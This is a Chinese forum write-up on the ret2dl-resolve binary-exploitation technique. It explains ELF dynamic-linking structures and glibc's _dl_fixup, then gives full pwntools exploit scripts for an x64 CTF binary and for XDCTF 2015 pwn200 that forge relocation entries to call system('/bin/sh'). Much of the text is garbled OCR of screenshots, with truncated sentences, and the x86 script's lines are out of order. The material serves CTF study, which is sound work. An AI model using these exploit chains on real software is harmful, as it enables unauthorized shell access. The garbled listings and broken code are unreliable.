muirelle / 2019-09-19 09:10:01 / 浏览数 4402 安全技术 二进制安全 顶(2) 踩(0)

记录一下学习ret2dl-resolve的曲折历程。可能顺带回顾一下之前的内容。这篇文章会尽量讲清楚利用过程。

# 前置知识

```
首先需要了解构成elf文件的section header table, 在后面的分析中主要涉及到三个section:.dynsym,.rela.plt和.dynstr
```

```
.rela.plt节(JMPREL段)的结构体组成如下:
typedef struct
                            /* Address */
Elf64_Addr
               r_offset;
Elf64_Xword
                r_info;
                                        /* Relocation type and symbol index */
                 r_addend;
Elf64_Sxword
                                        /* Addend */
} Elf64_Rela;
r_offset: 该函数在.got.plt中的地址
r_info: 包含该函数在.dynsym节中的索引和重定位类型
r_addend: 指定用于计算要存储到可重定位字段中的值的常量加数
.dynsym节(SYMTAB段)的结构体组成:
typedef struct
unsigned char st_name;
                                /* Symbol type __
/* Symbol visibility */
/* Section index
                                     /* Symbol name (string tbl index) */
unsigned char st_info;
unsigned char st_other;
Elf64 Section
                                         /* Symbol type and binding */
                  st_shndx;
Elf64_Section
                                          /* Section index */
Elf64_Addr
               st_value;
                                      /* Symbol value */
Elf64_Xword
                st_size;
                                        /* Symbol size */
} Elf64_Sym;
st_name:该值为此函数在.dynstr中的偏移,其中包含符号名称的字符表示形式。
.rel.plt内<mark>结构体</mark>组成:
typedef struct
                                    /* Address */
Elf32_Addr
              r_offset;
Elf32_Word
                r_info;
                                        /* Relocation type and symbol index */
} Elf32_Rel;
r_offset: 该函数在.got.plt中的地址
r_info: 包含该函数在.dynsym节中的索引和重定位类型
.dynsym内<mark>结构体</mark>组成:
typedef struct
                                     /* Symbol name (string tbl index) */
Elf32_Word
               st_name;
                                      /* Symbol value */
Elf32_Addr
               st_value;
               st_size;
                                      /* Symbol size */
Elf32_Word
unsigned char st_info;
                                        /* Symbol type and binding */
                                         /* Symbol visibility */
unsigned char
                  st_other;
Elf32_Section
                                          /* Section index */
                  st_shndx;
} Elf32_Sym;
```

st\_name:该值为此函数在.dynstr中的偏移,其中包含符号名称的字符表示形式。

以前做protostar的时候简单学习过一次plt和got,但当时仅限于plt和got表间的跳转[传送门],最后的分析止步于dl\_runtime\_resolve。这次的ret2dl-resolve就会涉及

# 跟踪

观察puts函数从被调用,到完成其重定向的整个过程。(用例为64位elf)

```
0004005C0 sub_4005C0
                                                        ; CODE XREF:
                                proc near
                                                          .plt:0000000
       00004005C0 ; __unwind {
                                        cs: qword_620008
                                push
                                        cs:qword 620010
                                jmp
       endp
 .plt
         04005D0 ; int puts(const char *s)
                _puts
                                                      CODE XREF: sub_
                               proc near
                                                      sub_400867+391p
                                      cs:off_620018
                               jmp
                                                         4
                puts
                                                                     5
                                        reloc_offset
                               push
                                      sub 4005C0
                               jmp
                                    sub 4008EE
                             call
                                    edi, offset s
                             mov
.text
                             call
                                    puts
                                    rax, [rbp+var_10]
                             lea
                             mov
                                    esi,
       9000620000 ; Segment al
                                segment para public 'DATA' use64
       0000620000
                 _got_plt
       0000620000
                                assume cs: got_plt
      0000620000
       0000620000
                                dq offset stru 61FE28
.got.pl
      0000620008 gword 620008
                                      link_map
                                                       DATA XREF:
 t
      0000620010 gword 620010
                                      _dl_runtime_resolve(link_map, reloc_offset)
                                dq
       dq offset puts
                                                        DATA XREF
       DATA XREF
                                dq offset setbuf
       dq offset alarm
                                                        DATA
       da offset read
       libc
       0000620038
```

这是调用dl\_runtime\_resolve前的流程,用一张图可以很直观的展示出来。可以看到,在0x4005c0和0x4005d6处push的分别是它的两个参数link\_map和reloc\_offset。

此时程序流程进入到dl\_runtime\_resolve中,开始重定向操作。而真正的重定向由dl\_runtime\_resolve中的\_dl\_fixup完成。

```
const ElfW(Svm) *refsvm = svm;
 void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
 lookup t result;
 DL FIXUP VALUE TYPE value;
 /* Sanity check that we're really looking at a PLT relocation. */
 assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
  /\star Look up the target symbol. If the normal lookup rules are not
    used don't look in the global scope. */
 if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
     const struct r_found_version *version = NULL;
     if (1->1_info[VERSYMIDX (DT_VERSYM)] != NULL)
      {
        const ElfW(Half) *vernum =
          (const void *) D_PTR (1, l_info[VERSYMIDX (DT_VERSYM)]);
        ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
         version = &l->l_versions[ndx];
        if (version->hash == 0)
          version = NULL;
      }
     /\,^\star We need to keep the scope around so do some locking. This is
       not necessary for objects which cannot be unloaded or when
        we are not using any threads (yet). */
     int flags = DL LOOKUP ADD DEPENDENCY;
     if (!RTLD_SINGLE_THREAD_P)
        THREAD_GSCOPE_SET_FLAG ();
        flags |= DL_LOOKUP_GSCOPE_LOCK;
#ifdef RTLD ENABLE FOREIGN CALL
    RTLD ENABLE FOREIGN CALL;
#endif
    result = _dl_lookup_symbol_x (strtab + sym->st_name, 1, &sym, 1->l_scope,
                                  version, ELF_RTYPE_CLASS_PLT, flags, NULL);
     /* We are done with the global scope. */
     if (!RTLD SINGLE THREAD P)
      THREAD GSCOPE RESET FLAG ();
#ifdef RTLD_FINALIZE_FOREIGN_CALL
    RTLD_FINALIZE_FOREIGN_CALL;
#endif
     /* Currently result contains the base load address (or link map)
       of the object that defines sym. Now add in the symbol
       offset. */
    value = DL_FIXUP_MAKE_VALUE (result,
                                 SYMBOL_ADDRESS (result, sym, false));
  }
 else
     /* We already found the symbol. The module (and therefore its load
       address) is also known. */
     value = DL_FIXUP_MAKE_VALUE (1, SYMBOL_ADDRESS (1, sym, true));
     result = 1;
 /* And now perhaps the relocation addend. */
 value = elf_machine_plt_value (1, reloc, value);
 if (sym != NULL
    && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
  value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
 /* Finally, fix up the plt itself. */
 if (__glibc_unlikely (GLRO(dl_bind_not)))
  return value;
 return elf_machine_fixup_plt (1, result, refsym, sym, reloc, rel_addr, value);
_dl_fixup的参数由dl_runtime_resolve压栈传递,即link_map和reloc_offset(由前面宏定义可知reloc_offset和reloc_arg是一样的)
const ElfW(Sym) *const symtab = (const void *) D_PTR (1, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (1, l_info[DT_STRTAB]);
const PLTREL *const reloc = (const void *) (D_PTR (1, l_info[DT_JMPREL]) + reloc_offset);
```

reloc offset的值用于指示包含该函数某些信息的结构体在<font color=#fc97c9>.rela.plt</font>节中的位置

```
| Comparison of the latest continuous conti
```

.rela.plt段中能看到puts对应的结构体,其info的值为0x100000007,从中提取到的.dynsym索引为1,重定位类型为7(即R\_386\_JMP\_SLOT)

#### R\_386\_JMP\_SLOT

Created by the link-editor for dynamic objects to provide lazy binding.

Its offset member gives the location of a procedure linkage table entry.

The runtime linker modifies the procedure linkage table entry to transfer control to the designated symbol address.

至此,通过reloc\_offset进行的第一次跳跃完成,现在需要使用r\_info进行第二次跳跃。已经从link\_map获取了.dynsym的起始地址,所以puts在<u><font</u> color=#fc97c9>.dynsym</font>中的位置是.dynsym[1]。

```
9004002C8 ; ELF Symbol Table
0004002C8
                    Elf64 Sym <0>
                    Elf64_Sym <offset aPuts - offset byte_4003E8, 12h, 0, 0, 0, 0> ; "puts
                    Elf64_Sym <offset aSetbuf - offset byte_4003E8,
Elf64_Sym <offset aAlarm - offset byte_4003E8, 1
                                                           12h, 0, 0, 0, 0>;
12h, 0, 0, 0, 0>;
12h, 0, 0, 0, 0>;
0004002F8
                    Elf64_Sym <offset aRead - offset byte_4003E8, 1
                    Elf64_Sym <offset aLibcStartMain - offset byte_4003E8, 12h, 0, 0, \
                    Elf64_Sym <offset aStdout - offset byte_4003E8, 11h, 0, 1Ah,
                                                                            ▶ 先知社区
                             offset stdout, 8>
Breakpoint *UX4UU/c3
          x/32gx 0x4002c8
0x4002c8:
                     0×00000000000000000
                                                     0×00000000000000000
0x4002d8:
                                                     0×0000001200000010
                     0×00000000000000000
0x4002e8:
                    0×00000000000000000
                                                     0×00000000000000000
0x4002f8:
                     0x0000001200000039
                                                     0×00000000000000000
0x400308:
                     0×00000000000000000
                                                     0x000000120000002e
0x400318:
                     0×00000000000000000
                                                     0×00000000000000000
0x400328:
                     0x000000120000001b
                                                     0×00000000000000000
0x400338:
                     0×00000000000000000
                                                     0x0000001200000040
```

从puts在.dynsym中的Elf64\_Sym结构体成员st\_name找到了其名称的字符串在.dynstr中的偏移为0x10,至此完成了第二次跳跃。同前面一样,由.dynstr的起始地址加上偏

```
004003E8; ELF String Table
004003E8 byte 4003E8
                           db 0
                                                       DATA XRI
004003E8
                                                       LOAD: 000
004003E9 aLibcSo6
                             'libc.so.6',0
                           db
004003F3 aExit
                              'exit',0
                           db
                                                       DATA XRI
004003F8 aPuts
                           db
                             'puts',0
                                                       DATA XRI
004003FD aStdin
                           db 'stdin',0
                                                       DATA XRI
                              'read',0
000400403 aRead
                           db
                                                       DATA XR
00400408 aStdout
                           db
                              'stdout',0
                                                       DATA XRI
0040040F aStderr
                              'stderr'
                           db
                                                       DATA XRI
000400416 aAlarm
                              'alarm',0
                           db
                                                       DATA XRI
                           db
                             'atoi',0
0040041C aAtoi
                                                       DATA XRI
                              'setbuf',0
00400421 aSetbuf
                           db
                                                       DATA XRI
00400428 aLibcStartMain
                              ' libc start main',0
                           db
00400428
                                                       DATA XRI
                                 gmon start_
0040043A aGmonStart
                                                       DATA XRI
                           db
                              'GLIBC 2.2.5',0
00400449 aGlibc225
                           db
```

由起始地址(0x4003e8)加上偏移(0x10)得到的字符串则是预期中的puts(0x4003f8),最后一跳完成。

```
0004002C8 ; ELF Symbol Table
                          Elf64_Sym <0>
                          Elf64_Sym <offset aPuts offset byte_4003E8,
                          Elf64_Sym <offset aSetbuf - offset byte_4003E8,
                          Elf64_Sym <offset aAlarm - offset byte_4003E8,
                          Elf64_Sym <offset aRead - offset byte_4003E8, 12h, 0, 0, 0, Elf64_Sym <offset aLibcStartMain - offset byte_4003E8, 12h,
                          Elf64_Sym <offset aGmonStart - offset byte_4003E8, 20h, Elf64_Sym <offset aAto: - offset byte_4003E8, 12h, 0, 0
                          Elf64_Sym <offset aAto: - offset byte_4003E8, 1
Elf64_Sym <offset aExit - offset byte 4003E8, 1
     00004003E8 ; ELF String Table
     00004003E8 byte 4003E8
                                                                          DATA XREI
                                                                          30AD:000
     00004003E8
     00004003E9 aLibcSo6
                                        db
                                                   .so.6'.0
                                             exit',0
     00004003F3 aExit
                                                                           DATA XREI
                                        db
     00004003F8 aPuts
                                        db
                                                                           ATA XRE
                                              put
     00004003FD aStdin
                                        db
                                             stdin
                                                                          DATA XREI
     0000400403 aRead
                                        db
                                                                          DATA
     00004004F0 ; ELF JMPREL Relocation Table
     00004004F0
                                     Elf64 Rela 🤝
     0000400508
                                     Elf64 Rela <62
                                     Elf64 Rela <6
                                     Elf64 Rela <
                                     Elf64_Rela <6
     0000400550
     0000400568
                                     Elf64_Rela <62
                                     Elf64 Rela <620048h,
     0000400580
     0000400580 LOAD
     0000620000 ; Segment alignment 'gword' can not be represented in as
     0000620000 got_plt
                                      segment para public 'DATA' use64
                                      assume cs:_got_plt
     0000620000
                                      dq offset stru_61FE28
     0000620000
     0000620008 qword_620008
                                                                     DATA XREF
                                         link_map
     10000620010 gword 620010
                                         _dl_runtime_resolve(link_map, reloc_offset)
     10000620018 off 620018
                                      dq offset puts
                                                                     DATA XREI
     0000620020 off 620020
                                      dq offset setbuf
     0000620028 off 620028
                                      dq offset alarm
                                                                           XREF
     0000620030 off_620030
                                      dq offset read
     0000620038 off_620038
                                      dq offset __libc
                                                          star
                                                                     in
     10000620038
```

三次跳跃示意图

这个字符串作为147的\_dl\_lookup\_symbol\_x函数的参数之一,返回值为libc基址,保存在result中。158的DL\_FIXUP\_MAKE\_VALUE宏从已装载的共享库中查找puts函数

```
到此为止puts函数已经完成重定向,利用的方式也很显然:即首先构造fake reloc_arg使得.rela.plt起始地址加上这个值后的地址落在我们可控的区域内,接着依次构造fake
```

.dynsym和.dynstr,形成一个完整的fake链,最后在.dynstr相应位置填写system就可以从动态库中将system的真实地址解析到puts的got表项中,最终调用puts实际调用的

但是想要成功利用的话还有一个地方需要注意,在源码的126到133:

```
if (1->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
  const ElfW(Half) *vernum =
    (const void *) D_PTR (1, l_info[VERSYMIDX (DT_VERSYM)]);
  ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
  version = &l->l_versions[ndx];
  if (version->hash == 0)
    version = NULL;
}
```

这段代码取r\_info的高位作为vernum的下标,访问对应的值并赋给ndx,再从I\_versions中找到对应的值赋给version。

问题在于,我们构造的fake链一般位于bss段(64位下,bss段一般位于0x600000之后),.rela.plt一般在0x400000左右,所以我们构造的r\_info的高位:reloc\_arg一般会很大,1celoc->r\_info)]和vernum[ELFW(R\_SYM)

(reloc->r\_info)]时使用下标的数据类型大小不同(symtab中的<u>结构体</u>大小为0x18字节, <u>vernum</u>的数据类型为uint16\_t, 大小为0x2字节), 这就导致vernum[ELFW(R\_

(reloc->r\_info)]大概率会访问到0x400000到0x600000之间的不可读区域(64位下,这个区间一般不可读),使得程序报错。

如果使得1->1\_info[VERSYMIDX (DT\_VERSYM)]的值为0,就可以绕过这块if判断,而1->1\_info[VERSYMIDX (DT\_VERSYM)]的位置就在link\_map+0x1c8处,所以需要泄露位于0x620008处link\_map的值,并将link\_map+0x1c8置零。

这种攻击方式依赖源程序自带的输出函数。

#### x64

### 题目

提取码:eo5z

之前第五空间比赛的一道题目,本身很简单,坑的是泄露libc之后无论如何都找不到对应的libc版本。这时就需要ret2dl-resolve(把所有libc dump下来挨个找也行。。)

刚才分析的用例就是这道题中的puts函数,已经分析的差不多了,剩下的就是精确计算偏移。

#### 首先泄露link\_map地址:

```
payload = p8(0)*(0x10)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(link_map_ptr)
payload += p64(puts_plt)
payload += p64(start)
r.sendline(payload)
link_map_addr = u64(r.recv(6).ljust(8, "\x00"))
```

#### loop回start函数继续利用溢出覆盖link\_map+0x1c8、构造fake链:

### base\_addr为puts在fake

.rela.plt的地址,这个位置选在了.data段,因为此段有很大一部分都是可写并且不会影响其他功能,所以在这一段中随便选了一个地址。由于后面有对齐操作,所以这里的b

pwndbg> x/32gx 0x620798		
0x620798:	0x0000000000620030	0x00016adf00000007
0x6207a8:	0x0000000000000000	0x00000012002203e0
0x6207b8:	0x0000000000000000	0×0000000000000000
0x6207c8:	0x00006d6574737973	0x0068732f6e69622f
0x6207d8:	0x0000000000000000	0×000000000000000
0x6207e8:	0×0000000000000000	0×0000000000000000 € 先知社

### base\_addr处,构造后的fake链:

- 红色fake .rela.plt
- 蓝色fake .dynsym
- 绿色system和/bin/sh

### 最终payload:

```
from pwn import *
#-*- coding:utf-8 -*-
context.log_level = 'debug'

r = process('./pwn')
#gdb.attach(r)
elf = ELF('./pwn')

puts_plt = 0x4005d0
read_plt = 0x400600
exit_plt = 0x400630
```

```
puts_got = 0x620018
read_got = 0x620030
exit_got = 0x620048
pop_rdi = 0x414fc3
pop_rsi_r15 = 0x414fc1
read_func = 0x4007e2
plt_addr = 0x4005c0
data\_addr = 0x620060
got_plt_addr = 0x620000
pop_rbp_ret = 0x4006b0
leave\_ret = 0x4039a3
dynsym_addr = 0x4002c8
dynstr\_addr = 0x4003e8
rel_plt_addr = 0x4004f0
link_map_ptr = got_plt_addr+0x8
start = 0x400650
main = 0x4007c3
r.sendline('-1')
r.recvuntil('GOOD?\n')
base\_addr = 0x620789
align = 0x18 - (base_addr - rel_plt_addr) % 0x18
base_addr = base_addr + align #0x620798
reloc_arg = (base_addr - rel_plt_addr) / 0x18
dynsym_off = (base_addr + 0x18 - dynsym_addr) / 0x18
system_off = base_addr + 0x30 - dynstr_addr
bin_sh_addr = base_addr + 0x38
log.info("base_addr: "+hex(base_addr))
log.info("reloc_arg: "+hex(reloc_arg))
log.info("dynsym_off: "+hex(dynsym_off))
log.info("system_off: "+hex(system_off))
log.info("bin_sh_addr: "+hex(bin_sh_addr))
payload = p8(0)*(0x10)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(link_map_ptr)
payload += p64(puts_plt)
payload += p64(start)
r.sendline(payload)
link_map_addr = u64(r.recv(6).ljust(8, "\x00"))
log.success('link_map_addr: ' + hex(link_map_addr))
r.sendline('-1')
r.recvuntil('GOOD?\n')
payload2 = p8(0)*0x18
payload2 += p64(pop_rsi_r15)
payload2 += p64(0x20)
payload2 += p64(0)
payload2 += p64(pop_rdi)
payload2 += p64(link_map_addr + 0x1c0)
payload2 += p64(read_func)
payload2 += p64(pop_rsi_r15)
payload2 += p64(0x100)
payload2 += p64(0)
```

```
payload2 += p64(pop rdi)
payload2 += p64(base_addr - 0x8)
payload2 += p64(read_func)#EEfakeEEEEE(.data)
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh_addr)
payload2 += p64(plt_addr) #####PLT[0] push link_map####ddl_runtime_resolve
payload2 += p64(reloc_arg) #####dl_runtime_resolve#####rsp+0x10####reloc_arg
payload2 += p8(0)*(0x100 - len(payload2))
r.send(payload2)
r.send(p8(0)*0x20)
payload3 = p8(0)*6
payload3 += p64(read_got)
payload3 += p32(0x7) + p32(dynsym_off)
payload3 += p64(0)
payload3 += p32(system_off) + p32(0x12)
payload3 += p64(0)*2
payload3 += 'system\x00\x00'
payload3 += '/bin/sh\x00'
payload3 += p8(0)*(0x100 - len(payload3))
r.send(payload3)
r.interactive()
x86
```

#### 题目

提取码: ofc6

ctf wiki上的一道题, XDCTF 2015的pwn200。

x86下的结构体和x64略有不同,但利用方法大同小异。

x86下的JMPREL段对应.rel.plt节,而不是x64下的.rela.plt节

找到.rel.plt起始地址

```
和.dynsym起始地址
```

```
context.log_level = 'debug'
r = process('./pwn200')
elf = ELF('./pwn200')
#qdb.attach(r)
write_plt = elf.symbols['write']
write_got = elf.got['write']
read_plt = elf.symbols['read']
read_got = elf.got['read']
start = 0x80483D0
ppp_ret = 0x080485cd
pop_{ebp} = 0x08048453
leave = 0 \times 08048481
rel_plt = 0x8048318
plt0 = 0x8048370
dynsym = 0x80481D8
dynstr = 0x8048268
#■■fake
base\_addr = 0x804a800
reloc_arg = base_addr + 0x28 - rel_plt
dynsym_off = (base_addr + 0x38 - dynsym) / 0x10
system_off = base_addr + 0x48 - dynstr
binsh\_addr = base\_addr + 0x50
r_{info} = (dynsym_{off} << 8) \mid 0x7
log.success('reloc_arg: ' + hex(reloc_arg))
log.success('dynsym_off: ' + hex(dynsym_off))
log.success('system_off: ' + hex(system_off))
log.success('binsh_addr: ' + hex(binsh_addr))
log.success('r_info: ' + hex(r_info))
bss = 0x804a020
payload = 'a'*0x6c + 'a'*4
payload += p32(read_plt)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_addr)
payload += p32(100)
payload += p32(pop_ebp)
payload += p32(base_addr)########base_addr-4####leave#pop###########
payload += p32(leave)
r.recvuntil('Welcome to XDCTF2015~!')
r.sendline(payload)
payload += p32(plt0)
payload += p32(reloc_arg)
payload += 'a'*4 #
payload += p32(binsh_addr) #plt0
payload += 'a'*0x14
payload += p32(read_got)
payload += p32(r_info)
payload += 'a'*8
payload += p32(system_off)
payload += p32(0)*2
payload += p32(0x12)
payload += 'system\x00\x00'
payload += '/bin/sh\x00'
payload += 'a'*(100-len(payload))
```

from pwn import \*

r.sendline(payload)
r.interactive()

# 结语

继ret2shellcode, ret2libc, ret2text, ret2syscall等ROP技巧之后, 我以为ret2dlresolve会一样的简单, 事实证明不能以貌取人。学习这个利用方法的过程中最大的感受家shell。

### 参考链接:

http://pwn4.fun/2016/11/09/Return-to-dl-resolve/

https://docs.oracle.com/cd/E19683-01/816-1386/chapter6-54839/index.html

https://bbs.pediy.com/thread-253833.htm

https://code.woboq.org/userspace/glibc/elf/dl-runtime.c.html#5reloc

http://rk700.github.io/2015/08/09/return-to-dl-resolve/

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https://blog.csdn.net/conansonic/article/details/54634142

https://www.cnblogs.com/ichunqiu/p/9542224.html

https://veritas501.space/2017/10/07/ret2dl\_resolve%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

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